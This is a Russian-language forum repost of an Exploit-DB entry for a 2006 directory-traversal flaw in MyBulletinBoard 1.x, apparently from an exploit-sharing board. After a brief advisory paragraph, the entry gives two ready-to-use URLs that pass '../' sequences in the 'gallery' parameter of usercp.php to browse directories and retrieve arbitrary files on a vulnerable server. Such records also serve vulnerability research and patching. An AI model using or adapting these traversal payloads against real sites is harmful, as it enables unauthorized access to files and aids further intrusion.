Exploit MyBulletinBoard (MyBB) 1.x - 'usercp.php' Directory Traversal

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
28291
Проверка EDB
  1. Пройдено
Автор
ROOZBEH AFRASIABI
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
N/A
Дата публикации
2006-07-27
Код:
source: https://www.securityfocus.com/bid/19195/info

MyBulletinBoard is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

http://www.example.com/usercp.php?action=avatar&gallery=../../uploads
http://www.example.com/usercp.php?action=do_avatar&gallery=../../../../../../..dir&avatar=myfile
 
Источник
www.exploit-db.com

Похожие темы